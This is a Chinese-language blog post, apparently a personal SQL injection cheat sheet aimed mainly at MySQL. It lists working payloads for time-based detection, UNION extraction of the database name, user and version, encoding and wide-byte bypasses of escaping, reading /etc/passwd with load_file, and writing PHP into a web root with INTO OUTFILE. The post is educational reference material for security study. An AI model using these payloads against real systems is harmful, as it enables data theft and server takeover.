Press "Enter" to skip to content

SQL注入总结(持续更新)

前言

sql注入种类繁多,借此文不断记录遇到的注入类型(大部分基于mysql)。

Tricks

1.使用and sleep(5)判断是否延时,验证此处是否可成功注入。

http://xxx.com?id=1' and sleep(5) -- s

2.使用union来添加自己想要查询的信息(比如常用的一些函数或者使用查询元数据):

http://xxx.com?id=1' union select database(),user(),version() -- s (mysql中)

关于查询元数据,详见:从一道CTF题目看sql注入中元数据的应用

3.使用union查询的前提是union中select的字段数要与前面select的字段数相同。可采用如下方式判断字段数:

http://xxx.com?id=1' union select 1,2,3 -- s (在Oracle,SQL Server中使用NULL替代1,2,3...)
http://xxx.com?id=1' union select 1,2,3,4 -- s
... ...

根据页面反应进行判断,只有与前面select字段数相同的union select才是正确的查询语句。

4.当页面反馈信息的空间有限时,可以使用concat,concat_ws,group_concat在一个字段查询多个信息:

http://xxx.com?id=1' union select (select concat_ws(',',database(),user())) -- s

5.使用16进制与char函数进行绕过

http://localhost/injection/user.php?username=0x61646d696e23
(admin# –>0x61646d696e23)
http://localhost/injection/user.php?username=CHAR(97,100, 109, 105, 110, 35)
(admin# –>CHAR(97, 100, 109, 105, 110, 35))

6.有时’可能会被加\转义(比如被magic_quotes_gpc或者addslashes),但是PHP+MySQL可能会出现宽字节注入漏洞,这是因为在某些两个字节编码的编码集中,\可以作为某一编码的低字节。

’ 经过转义-> \'
%d5' 经过转义-> 誠' //%d5与\一起被编码为誠

7.MySQL的load_file() 与 into outfile(在有相应文件权限时)

union select 1,load_file('/etc/passwd'),3,4 #
select '<?php phpinfo(); ?>' into outfile 'C:\wwwroot\1.php'

8.MySQL的显错注入

Be First to Comment

发表评论

电子邮件地址不会被公开。 必填项已用*标注

To create code blocks or other preformatted text, indent by four spaces:

    This will be displayed in a monospaced font. The first four 
    spaces will be stripped off, but all other whitespace
    will be preserved.
    
    Markdown is turned off in code blocks:
     [This is not a link](http://example.com)

To create not a block, but an inline code span, use backticks:

Here is some inline `code`.

For more help see http://daringfireball.net/projects/markdown/syntax